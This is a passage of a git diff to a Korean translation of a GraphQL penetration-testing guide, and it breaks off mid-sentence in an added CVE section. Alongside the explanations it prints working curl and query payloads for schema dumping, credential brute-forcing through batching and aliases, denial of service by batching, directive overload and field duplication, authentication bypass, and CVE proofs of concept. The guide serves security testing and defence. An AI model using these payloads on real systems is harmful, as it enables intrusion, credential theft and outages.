diff --git a/src/network-services-pentesting/pentesting-web/graphql.md b/src/network-services-pentesting/pentesting-web/graphql.md index dd1a78e5b..a03d9f3fb 100644 --- a/src/network-services-pentesting/pentesting-web/graphql.md +++ b/src/network-services-pentesting/pentesting-web/graphql.md @@ -4,11 +4,11 @@ ## Introduction -GraphQL은 **효율적인 대안**으로 **REST API**에 주목받고 있으며, 백엔드에서 데이터를 쿼리하는 간소화된 접근 방식을 제공합니다. REST는 데이터를 수집하기 위해 다양한 엔드포인트에 여러 요청을 필요로 하는 반면, GraphQL은 **단일 요청**을 통해 필요한 모든 정보를 가져올 수 있습니다. 이러한 간소화는 데이터 가져오기 프로세스의 복잡성을 줄여 **개발자에게 큰 이점**을 제공합니다. +GraphQL은 **효율적인 대안**으로 **강조**되며, 백엔드에서 데이터를 쿼리하는 간소화된 접근 방식을 제공합니다. REST와 달리, REST는 데이터를 수집하기 위해 다양한 엔드포인트에 여러 요청을 필요로 하는 경우가 많지만, GraphQL은 **단일 요청**을 통해 필요한 모든 정보를 가져올 수 있습니다. 이러한 간소화는 데이터 가져오기 프로세스의 복잡성을 줄여 **개발자에게 큰 이점**을 제공합니다. ## GraphQL과 보안 -GraphQL을 포함한 새로운 기술의 출현과 함께 새로운 보안 취약점도 발생합니다. 주목할 점은 **GraphQL은 기본적으로 인증 메커니즘을 포함하지 않는다**는 것입니다. 개발자가 이러한 보안 조치를 구현하는 것이 책임입니다. 적절한 인증이 없으면 GraphQL 엔드포인트가 인증되지 않은 사용자에게 민감한 정보를 노출할 수 있어 상당한 보안 위험을 초래합니다. +GraphQL을 포함한 새로운 기술의 출현과 함께 새로운 보안 취약점도 발생합니다. 주목할 점은 **GraphQL은 기본적으로 인증 메커니즘을 포함하지 않습니다**. 이러한 보안 조치를 구현하는 것은 개발자의 책임입니다. 적절한 인증이 없으면 GraphQL 엔드포인트가 인증되지 않은 사용자에게 민감한 정보를 노출할 수 있어 상당한 보안 위험을 초래합니다. ### 디렉토리 브루트 포스 공격과 GraphQL @@ -23,7 +23,7 @@ GraphQL을 포함한 새로운 기술의 출현과 함께 새로운 보안 취 - `/graphql/api` - `/graphql/graphql` -열려 있는 GraphQL 인스턴스를 식별하면 지원되는 쿼리를 검토할 수 있습니다. 이는 엔드포인트를 통해 접근할 수 있는 데이터를 이해하는 데 중요합니다. GraphQL의 introspection 시스템은 스키마가 지원하는 쿼리를 자세히 설명하여 이를 용이하게 합니다. 이에 대한 자세한 내용은 GraphQL 문서의 introspection을 참조하십시오: [**GraphQL: A query language for APIs.**](https://graphql.org/learn/introspection/) +열려 있는 GraphQL 인스턴스를 식별하면 지원되는 쿼리를 검토할 수 있습니다. 이는 엔드포인트를 통해 접근 가능한 데이터를 이해하는 데 중요합니다. GraphQL의 introspection 시스템은 스키마가 지원하는 쿼리를 자세히 설명하여 이를 용이하게 합니다. 이에 대한 자세한 내용은 GraphQL의 introspection 문서를 참조하십시오: [**GraphQL: A query language for APIs.**](https://graphql.org/learn/introspection/) ### 지문 인식 @@ -31,7 +31,7 @@ GraphQL을 포함한 새로운 기술의 출현과 함께 새로운 보안 취 #### 유니버설 쿼리 -URL이 GraphQL 서비스인지 확인하기 위해 **유니버설 쿼리**인 `query{__typename}`을 보낼 수 있습니다. 응답에 `{"data": {"__typename": "Query"}}`가 포함되면 해당 URL이 GraphQL 엔드포인트를 호스팅하고 있음을 확인할 수 있습니다. 이 방법은 쿼리된 객체의 유형을 나타내는 GraphQL의 `__typename` 필드에 의존합니다. +URL이 GraphQL 서비스인지 확인하기 위해 **유니버설 쿼리**인 `query{__typename}`을 보낼 수 있습니다. 응답에 `{"data": {"__typename": "Query"}}`가 포함되면 해당 URL이 GraphQL 엔드포인트를 호스팅하고 있음을 확인합니다. 이 방법은 쿼리된 객체의 유형을 나타내는 GraphQL의 `__typename` 필드에 의존합니다. ```javascript query{__typename} ``` @@ -67,7 +67,7 @@ query={__schema{types{name,fields{name,args{name,description,type{name,kind,ofTy **인스펙션을 통한 데이터베이스 스키마 열거** -> [!NOTE] +> [!TIP] > 인스펙션이 활성화되어 있지만 위 쿼리가 실행되지 않는 경우, 쿼리 구조에서 `onOperation`, `onFragment`, 및 `onField` 지시어를 제거해 보십시오. ```bash #Full introspection query @@ -176,15 +176,15 @@ name ![](<../../images/Screenshot from 2021-03-13 18-17-48.png>) -쿼리 "_flags_"의 유형이 "_Flags_"임에 유의하세요. 이 객체는 아래와 같이 정의됩니다: +쿼리 "_flags_"의 유형이 "_Flags_"임을 주목하세요. 이 객체는 아래와 같이 정의됩니다: ![](<../../images/Screenshot from 2021-03-13 18-22-57 (1).png>) -"_Flags_" 객체는 **name**과 **value**로 구성되어 있습니다. 그러면 쿼리를 통해 모든 플래그의 이름과 값을 가져올 수 있습니다: +"_Flags_" 객체는 **name**과 **value**로 구성되어 있습니다. 그런 다음 쿼리를 사용하여 모든 플래그의 이름과 값을 가져올 수 있습니다: ```javascript query={flags{name, value}} ``` -다음 예제와 같이 **query할 객체**가 **primitive** **type**인 **string**인 경우 +다음 예제와 같이 **string**과 같은 **원시** **타입**인 **query할 객체**의 경우 ![](<../../images/image (958).png>) @@ -206,26 +206,26 @@ query = { hiddenFlags } 제가 그 쿼리를 실행했을 때 제공된 이미지를 읽어보면 "_**user**_"가 타입 _Int_의 **arg** "_**uid**_"를 가지고 있음을 알 수 있습니다. -그래서 가벼운 _**uid**_ 브루트포스를 수행한 결과, _**uid**=**1**_에서 사용자 이름과 비밀번호가 검색되었습니다:\ +그래서 가벼운 _**uid**_ 브루트포스를 수행한 결과, _**uid**=**1**_에서 사용자 이름과 비밀번호를 검색했습니다:\ `query={user(uid:1){user,password}}` ![](<../../images/image (90).png>) -나는 **매개변수** "_**user**_"와 "_**password**_"를 요청할 수 있다는 것을 **발견**했습니다. 왜냐하면 존재하지 않는 것을 찾으려고 하면 (`query={user(uid:1){noExists}}`) 이 오류가 발생하기 때문입니다: +저는 **매개변수** "_**user**_"와 "_**password**_"를 요청할 수 있다는 것을 **발견**했습니다. 왜냐하면 존재하지 않는 것을 찾으려고 시도하면 (`query={user(uid:1){noExists}}`) 이 오류가 발생하기 때문입니다: ![](<../../images/image (707).png>) -그리고 **열거 단계**에서 "_**dbuser**_" 객체가 "_**user**_"와 "_**password**_"라는 필드를 가지고 있음을 발견했습니다. +그리고 **열거 단계**에서 "_**dbuser**_" 객체가 "_**user**_"와 "_**password**_" 필드를 가지고 있음을 발견했습니다. -**쿼리 문자열 덤프 트릭 (thanks to @BinaryShadow\_)** +**쿼리 문자열 덤프 트릭 (감사합니다 @BinaryShadow\_)** -문자열 타입으로 검색할 수 있다면, 예를 들어: `query={theusers(description: ""){username,password}}`와 같이 **빈 문자열**을 검색하면 **모든 데이터를 덤프**합니다. (_이 예제는 튜토리얼의 예제와 관련이 없으므로, 이 예제에서는 "**description**"이라는 문자열 필드를 사용하여 "**theusers**"를 검색할 수 있다고 가정합니다_). +문자열 타입으로 검색할 수 있다면, `query={theusers(description: ""){username,password}}`와 같이 **빈 문자열**을 검색하면 **모든 데이터가 덤프됩니다**. (_이 예제는 튜토리얼의 예제와 관련이 없으며, 이 예제에서는 "**description**"이라는 문자열 필드를 사용하여 "**theusers**"를 검색할 수 있다고 가정합니다_). ### 검색 이 설정에서, **데이터베이스**는 **사람들**과 **영화**를 포함합니다. **사람들**은 그들의 **이메일**과 **이름**으로 식별되며; **영화**는 그들의 **이름**과 **평점**으로 식별됩니다. **사람들**은 서로 친구가 될 수 있으며, 또한 영화가 있어 데이터베이스 내의 관계를 나타냅니다. -당신은 **이름**으로 사람들을 **검색**하고 그들의 이메일을 얻을 수 있습니다: +이름으로 사람들을 **검색**하고 그들의 이메일을 얻을 수 있습니다: ```javascript { searchPerson(name: "John Doe") { @@ -250,7 +250,7 @@ name ``` `subscribedMovies`의 `name`을 가져오는 방법이 표시되어 있습니다. -여러 개의 객체를 **동시에 검색할 수 있습니다**. 이 경우, 2개의 영화를 검색합니다: +여러 개의 객체를 **동시에 검색**할 수도 있습니다. 이 경우, 2개의 영화를 검색합니다: ```javascript { searchPerson(subscribedMovies: [{name: "Inception"}, {name: "Rocky"}]) { @@ -283,15 +283,15 @@ name ``` ### Mutations -**변경은 서버 측에서 변경을 수행하는 데 사용됩니다.** +**Mutations는 서버 측에서 변경을 수행하는 데 사용됩니다.** -**인트로스펙션**에서 **선언된** **변경**을 찾을 수 있습니다. 다음 이미지에서 "_MutationType_"은 "_Mutation_"이라고 하며, "_Mutation_" 객체는 변경의 이름(이 경우 "_addPerson_")을 포함합니다: +**introspection**에서 **선언된** **mutations**를 찾을 수 있습니다. 다음 이미지에서 "_MutationType_"는 "_Mutation_"이라고 하며, "_Mutation_" 객체는 mutations의 이름(이 경우 "_addPerson_")을 포함합니다: ![](<../../images/Screenshot from 2021-03-13 18-26-27 (1).png>) -이 설정에서 **데이터베이스**는 **사람**과 **영화**를 포함합니다. **사람**은 **이메일**과 **이름**으로 식별되며, **영화**는 **이름**과 **평점**으로 식별됩니다. **사람**은 서로 친구가 될 수 있으며, 데이터베이스 내의 관계를 나타내는 영화를 가질 수 있습니다. +이 설정에서 **database**는 **persons**와 **movies**를 포함합니다. **Persons**는 **email**과 **name**으로 식별되며, **movies**는 **name**과 **rating**으로 식별됩니다. **Persons**는 서로 친구가 될 수 있으며, 데이터베이스 내의 관계를 나타내는 영화를 가질 수 있습니다. -데이터베이스 내에서 **새로운** 영화를 **생성하는** 변경은 다음과 같을 수 있습니다(이 예제에서 변경은 `addMovie`라고 불립니다): +데이터베이스 내에서 **새로운** 영화를 **생성하는** mutation은 다음과 같을 수 있습니다(이 예제에서 mutation은 `addMovie`라고 합니다): ```javascript mutation { addMovie(name: "Jumanji: The Next Level", rating: "6.8/10", releaseYear: 2019) { @@ -341,7 +341,7 @@ releaseYear 이 정보는 [https://lab.wallarm.com/graphql-batching-attack/](https://lab.wallarm.com/graphql-batching-attack/)에서 가져왔습니다.\ GraphQL API를 통해 **다양한 자격 증명을 가진 많은 쿼리를 동시에 전송하여 인증**을 확인합니다. 이는 고전적인 brute force 공격이지만, 이제 GraphQL batching 기능 덕분에 HTTP 요청당 하나 이상의 로그인/비밀번호 쌍을 보낼 수 있습니다. 이 접근 방식은 외부 속도 모니터링 애플리케이션을 속여 모든 것이 잘 되고 있으며 비밀번호를 추측하려는 brute-forcing 봇이 없다고 생각하게 만듭니다. -아래는 **한 번에 3개의 서로 다른 이메일/비밀번호 쌍**을 가진 애플리케이션 인증 요청의 가장 간단한 시연입니다. 분명히 같은 방식으로 단일 요청에서 수천 개를 보낼 수 있습니다: +아래는 **한 번에 3개의 서로 다른 이메일/비밀번호 쌍**을 가진 애플리케이션 인증 요청의 가장 간단한 시연을 보여줍니다. 분명히 같은 방식으로 단일 요청에서 수천 개를 보낼 수 있습니다: ![](<../../images/image (1081).png>) @@ -351,7 +351,7 @@ GraphQL API를 통해 **다양한 자격 증명을 가진 많은 쿼리를 동 ## GraphQL Without Introspection -점점 더 많은 **graphql 엔드포인트가 introspection을 비활성화하고 있습니다**. 그러나 예상치 못한 요청이 수신될 때 graphql이 발생시키는 오류는 [**clairvoyance**](https://github.com/nikitastupin/clairvoyance)와 같은 도구가 스키마의 대부분을 재구성하는 데 충분합니다. +점점 더 많은 **graphql 엔드포인트가 introspection을 비활성화**하고 있습니다. 그러나 예상치 못한 요청이 수신될 때 graphql이 발생시키는 오류는 [**clairvoyance**](https://github.com/nikitastupin/clairvoyance)와 같은 도구가 스키마의 대부분을 재구성하는 데 충분합니다. 게다가, Burp Suite 확장 프로그램 [**GraphQuail**](https://github.com/forcesunseen/graphquail)은 **Burp를 통해 GraphQL API 요청을 관찰하고** **각 새로운 쿼리와 함께** 내부 GraphQL **스키마를 구축**합니다. 또한 GraphiQL 및 Voyager를 위한 스키마를 노출할 수 있습니다. 이 확장은 introspection 쿼리를 수신할 때 가짜 응답을 반환합니다. 결과적으로 GraphQuail은 API 내에서 사용할 수 있는 모든 쿼리, 인수 및 필드를 보여줍니다. 더 많은 정보는 [**여기서 확인하세요**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema). @@ -371,7 +371,7 @@ API에서 introspection 쿼리에 대한 제한을 우회하기 위해, `__schem ### WebSockets 시도 -[**이 강연**](https://www.youtube.com/watch?v=tIo_t5uUK50)에서 언급된 바와 같이, WebSockets를 통해 graphQL에 연결할 수 있는지 확인하십시오. 이는 잠재적인 WAF를 우회하고 WebSocket 통신이 graphQL의 스키마를 유출할 수 있게 할 수 있습니다. +[**이 강연**](https://www.youtube.com/watch?v=tIo_t5uUK50)에서 언급된 바와 같이, WebSockets를 통해 graphQL에 연결할 수 있는지 확인하십시오. 이는 잠재적인 WAF를 우회하고 WebSocket 통신이 graphQL의 스키마를 누출할 수 있게 할 수 있습니다. ```javascript ws = new WebSocket("wss://target/graphql", "graphql-ws") ws.onopen = function start(event) { @@ -397,7 +397,7 @@ ws.send(JSON.stringify(graphqlMsg)) ``` ### **노출된 GraphQL 구조 발견하기** -introspection이 비활성화된 경우, JavaScript 라이브러리에서 미리 로드된 쿼리를 찾기 위해 웹사이트의 소스 코드를 검사하는 것이 유용한 전략입니다. 이러한 쿼리는 개발자 도구의 `Sources` 탭을 사용하여 찾을 수 있으며, API의 스키마에 대한 통찰력을 제공하고 잠재적으로 **노출된 민감한 쿼리**를 드러냅니다. 개발자 도구 내에서 검색하는 명령은 다음과 같습니다: +인트로스펙션이 비활성화된 경우, JavaScript 라이브러리에서 미리 로드된 쿼리를 찾기 위해 웹사이트의 소스 코드를 검사하는 것은 유용한 전략입니다. 이러한 쿼리는 개발자 도구의 `Sources` 탭을 사용하여 찾을 수 있으며, API의 스키마에 대한 통찰력을 제공하고 잠재적으로 **노출된 민감한 쿼리**를 드러냅니다. 개발자 도구 내에서 검색하는 명령은 다음과 같습니다: ```javascript Inspect/Sources/"Search all files" file:* mutation @@ -425,7 +425,7 @@ query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A 그러나 Chrome의 `samesite` 플래그의 새로운 기본 쿠키 값이 `Lax`라는 점에 유의하십시오. 이는 쿠키가 GET 요청에서만 제3자 웹에서 전송된다는 것을 의미합니다. -**쿼리** **요청**을 **GET** **요청**으로 전송하는 것이 일반적으로 가능하며, GET 요청에서 CSRF 토큰이 검증되지 않을 수 있다는 점에 유의하십시오. +일반적으로 **쿼리** **요청**을 **GET** **요청**으로 전송하는 것이 가능하며, GET 요청에서 CSRF 토큰이 검증되지 않을 수 있다는 점에 유의하십시오. 또한, [**XS-Search**](../../pentesting-web/xs-search/index.html) **공격**을 악용하여 사용자의 자격 증명을 이용해 GraphQL 엔드포인트에서 콘텐츠를 유출할 수 있습니다. @@ -459,17 +459,17 @@ GraphQL의 CRSF 취약점을 악용하는 것과 유사하게, **보호되지 [쿼리 체이닝](https://s1n1st3r.gitbook.io/theb10g/graphql-query-authentication-bypass-vuln)을 통해 약한 인증 시스템을 우회할 수 있습니다. -아래 예제에서 작업은 "forgotPassword"이며, 이는 해당 쿼리만 실행해야 합니다. 그러나 쿼리를 끝에 추가함으로써 우회할 수 있으며, 이 경우 "register"와 시스템이 새로운 사용자로 등록할 수 있도록 사용자 변수를 추가합니다. +아래 예제에서 작업은 "forgotPassword"이며, 이는 해당 쿼리와 연결된 forgotPassword 쿼리만 실행해야 합니다. 이를 우회하기 위해 쿼리를 끝에 추가할 수 있으며, 이 경우 "register"와 시스템이 새로운 사용자로 등록할 수 있도록 하는 사용자 변수를 추가합니다.
## GraphQL에서 별칭을 사용한 속도 제한 우회 -GraphQL에서 별칭은 API 요청 시 **속성을 명시적으로 이름 지정**할 수 있는 강력한 기능입니다. 이 기능은 **단일 요청 내에서 동일한 유형**의 객체 여러 인스턴스를 검색하는 데 특히 유용합니다. 별칭을 사용하면 GraphQL 객체가 동일한 이름의 여러 속성을 가질 수 없다는 제한을 극복할 수 있습니다. +GraphQL에서 별칭은 API 요청 시 **속성을 명시적으로 이름 지정**할 수 있는 강력한 기능입니다. 이 기능은 단일 요청 내에서 **동일한 유형**의 객체 여러 인스턴스를 검색하는 데 특히 유용합니다. 별칭은 GraphQL 객체가 동일한 이름을 가진 여러 속성을 가질 수 없도록 하는 제한을 극복하는 데 사용될 수 있습니다. GraphQL 별칭에 대한 자세한 이해를 위해 다음 리소스를 추천합니다: [Aliases](https://portswigger.net/web-security/graphql/what-is-graphql#aliases). -별칭의 주요 목적은 많은 API 호출의 필요성을 줄이는 것이지만, 별칭을 사용하여 GraphQL 엔드포인트에 대한 무차별 대입 공격을 실행할 수 있는 의도치 않은 사용 사례가 확인되었습니다. 이는 일부 엔드포인트가 **HTTP 요청 수**를 제한하여 무차별 대입 공격을 저지하기 위해 설계된 속도 제한기로 보호되기 때문입니다. 그러나 이러한 속도 제한기는 각 요청 내의 작업 수를 고려하지 않을 수 있습니다. 별칭을 사용하면 단일 HTTP 요청에 여러 쿼리를 포함할 수 있으므로 이러한 속도 제한 조치를 우회할 수 있습니다. +별칭의 주요 목적은 수많은 API 호출의 필요성을 줄이는 것이지만, 별칭을 사용하여 GraphQL 엔드포인트에 대한 무차별 대입 공격을 실행할 수 있는 의도치 않은 사용 사례가 확인되었습니다. 이는 일부 엔드포인트가 **HTTP 요청 수**를 제한하여 무차별 대입 공격을 저지하기 위해 설계된 속도 제한기로 보호되기 때문입니다. 그러나 이러한 속도 제한기는 각 요청 내의 작업 수를 고려하지 않을 수 있습니다. 별칭을 사용하면 단일 HTTP 요청에 여러 쿼리를 포함할 수 있으므로 이러한 속도 제한 조치를 우회할 수 있습니다. 아래 제공된 예제를 고려해 보십시오. 이 예제는 별칭 쿼리를 사용하여 상점 할인 코드의 유효성을 확인하는 방법을 보여줍니다. 이 방법은 여러 쿼리를 하나의 HTTP 요청으로 컴파일하므로 속도 제한을 우회할 수 있으며, 동시에 여러 할인 코드를 확인할 수 있습니다. ```bash @@ -497,11 +497,11 @@ curl -X POST -H "Content-Type: application/json" \ -d '{"query": "{ alias0:__typename \nalias1:__typename \nalias2:__typename \nalias3:__typename \nalias4:__typename \nalias5:__typename \nalias6:__typename \nalias7:__typename \nalias8:__typename \nalias9:__typename \nalias10:__typename \nalias11:__typename \nalias12:__typename \nalias13:__typename \nalias14:__typename \nalias15:__typename \nalias16:__typename \nalias17:__typename \nalias18:__typename \nalias19:__typename \nalias20:__typename \nalias21:__typename \nalias22:__typename \nalias23:__typename \nalias24:__typename \nalias25:__typename \nalias26:__typename \nalias27:__typename \nalias28:__typename \nalias29:__typename \nalias30:__typename \nalias31:__typename \nalias32:__typename \nalias33:__typename \nalias34:__typename \nalias35:__typename \nalias36:__typename \nalias37:__typename \nalias38:__typename \nalias39:__typename \nalias40:__typename \nalias41:__typename \nalias42:__typename \nalias43:__typename \nalias44:__typename \nalias45:__typename \nalias46:__typename \nalias47:__typename \nalias48:__typename \nalias49:__typename \nalias50:__typename \nalias51:__typename \nalias52:__typename \nalias53:__typename \nalias54:__typename \nalias55:__typename \nalias56:__typename \nalias57:__typename \nalias58:__typename \nalias59:__typename \nalias60:__typename \nalias61:__typename \nalias62:__typename \nalias63:__typename \nalias64:__typename \nalias65:__typename \nalias66:__typename \nalias67:__typename \nalias68:__typename \nalias69:__typename \nalias70:__typename \nalias71:__typename \nalias72:__typename \nalias73:__typename \nalias74:__typename \nalias75:__typename \nalias76:__typename \nalias77:__typename \nalias78:__typename \nalias79:__typename \nalias80:__typename \nalias81:__typename \nalias82:__typename \nalias83:__typename \nalias84:__typename \nalias85:__typename \nalias86:__typename \nalias87:__typename \nalias88:__typename \nalias89:__typename \nalias90:__typename \nalias91:__typename \nalias92:__typename \nalias93:__typename \nalias94:__typename \nalias95:__typename \nalias96:__typename \nalias97:__typename \nalias98:__typename \nalias99:__typename \nalias100:__typename \n }"}' \ 'https://example.com/graphql' ``` -이를 완화하기 위해, 리소스 남용을 방지하기 위해 별칭 수 제한, 쿼리 복잡성 분석 또는 속도 제한을 구현하십시오. +이 문제를 완화하기 위해, 리소스 남용을 방지하기 위해 별칭 수 제한, 쿼리 복잡성 분석 또는 속도 제한을 구현하십시오. ### **배열 기반 쿼리 배치** -**배열 기반 쿼리 배치**는 GraphQL API가 단일 요청에서 여러 쿼리를 배치할 수 있도록 허용하는 취약점으로, 공격자가 동시에 많은 수의 쿼리를 보낼 수 있게 합니다. 이는 모든 배치된 쿼리를 병렬로 실행하여 백엔드를 압도할 수 있으며, 과도한 리소스(CPU, 메모리, 데이터베이스 연결)를 소모하고 잠재적으로 **서비스 거부(DoS)**로 이어질 수 있습니다. 배치 내 쿼리 수에 대한 제한이 없으면, 공격자는 이를 악용하여 서비스 가용성을 저하시킬 수 있습니다. +**배열 기반 쿼리 배치**는 GraphQL API가 단일 요청에서 여러 쿼리를 배치할 수 있도록 허용하는 취약점으로, 공격자가 동시에 많은 수의 쿼리를 보낼 수 있게 합니다. 이는 모든 배치된 쿼리를 병렬로 실행하여 백엔드를 압도할 수 있으며, 과도한 리소스(CPU, 메모리, 데이터베이스 연결)를 소모하고 잠재적으로 **서비스 거부(DoS)**로 이어질 수 있습니다. 배치 내 쿼리 수에 대한 제한이 없다면, 공격자는 이를 악용하여 서비스 가용성을 저하시킬 수 있습니다. ```graphql # Test provided by https://github.com/dolevf/graphql-cop curl -X POST -H "User-Agent: graphql-cop/1.13" \ @@ -513,7 +513,7 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" \ ### **지시문 과부하 취약점** -**지시문 과부하**는 GraphQL 서버가 과도하고 중복된 지시문을 허용할 때 발생합니다. 이는 서버의 파서와 실행기를 압도할 수 있으며, 특히 서버가 동일한 지시문 로직을 반복적으로 처리할 경우 더욱 그렇습니다. 적절한 검증이나 제한이 없으면, 공격자는 수많은 중복 지시문으로 쿼리를 작성하여 높은 계산 또는 메모리 사용을 유발하여 **서비스 거부(DoS)**를 초래할 수 있습니다. +**지시문 과부하**는 GraphQL 서버가 과도하고 중복된 지시문을 포함한 쿼리를 허용할 때 발생합니다. 이는 서버의 파서와 실행기를 압도할 수 있으며, 특히 서버가 동일한 지시문 로직을 반복적으로 처리할 경우 더욱 그렇습니다. 적절한 검증이나 제한이 없으면, 공격자는 수많은 중복 지시문을 포함한 쿼리를 작성하여 높은 계산 또는 메모리 사용을 유발하여 **서비스 거부(DoS)**를 초래할 수 있습니다. ```bash # Test provided by https://github.com/dolevf/graphql-cop curl -X POST -H "User-Agent: graphql-cop/1.13" \ @@ -535,7 +535,7 @@ curl -X POST \ -d '{"query": "{ __schema { directives { name locations args { name type { name kind ofType { name } } } } } }"}' \ 'https://example.com/graphql' ``` -그리고 **사용자 정의** 항목 중 일부를 사용하십시오. +그리고 **사용자 정의 항목 중 일부를 사용하십시오**. ### **필드 중복 취약점** @@ -546,6 +546,69 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/jso -d '{"query": "query cop { __typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n} ", "operationName": "cop"}' \ 'https://example.com/graphql' ``` +## 최근 취약점 (2023-2025) + +> GraphQL 생태계는 매우 빠르게 발전하고 있습니다. 지난 2년 동안 가장 많이 사용되는 서버 라이브러리에서 여러 가지 중요한 문제가 공개되었습니다. GraphQL 엔드포인트를 찾으면 엔진의 지문을 찍는 것이 좋습니다(참조: **graphw00f**) 그리고 실행 중인 버전을 아래의 취약점과 비교해 보십시오. + +### CVE-2024-47614 – `async-graphql` 지시어 과부하 DoS (Rust) +* 영향을 받는 버전: async-graphql < **7.0.10** (Rust) +* 근본 원인: **중복된 지시어**에 대한 제한 없음 (예: 수천 개의 `@include`) 이로 인해 실행 노드의 수가 기하급수적으로 증가합니다. +* 영향: 단일 HTTP 요청이 CPU/RAM을 소모하여 서비스를 중단시킬 수 있습니다. +* 수정/완화: ≥ 7.0.10으로 업그레이드하거나 `SchemaBuilder.limit_directives()`를 호출하십시오; 또는 `"@include.*@include.*@include"`와 같은 WAF 규칙으로 요청을 필터링하십시오. +```graphql +# PoC – repeat @include X times +query overload { +__typename @include(if:true) @include(if:true) @include(if:true) +} +``` +### CVE-2024-40094 – `graphql-java` ENF 깊이/복잡성 우회 +* 영향을 받는 버전: graphql-java < 19.11, 20.0-20.8, 21.0-21.4 +* 근본 원인: **ExecutableNormalizedFields**가 `MaxQueryDepth` / `MaxQueryComplexity` 계측에 의해 고려되지 않았습니다. 재귀적 조각이 모든 한계를 우회했습니다. +* 영향: graphql-java를 포함하는 Java 스택에 대한 인증되지 않은 DoS (Spring Boot, Netflix DGS, Atlassian 제품 등). +```graphql +fragment A on Query { ...B } +fragment B on Query { ...A } +query { ...A } +``` +### CVE-2023-23684 – WPGraphQL SSRF to RCE chain +* 영향을 받는 버전: WPGraphQL ≤ 1.14.5 (WordPress 플러그인). +* 근본 원인: `createMediaItem` 변형이 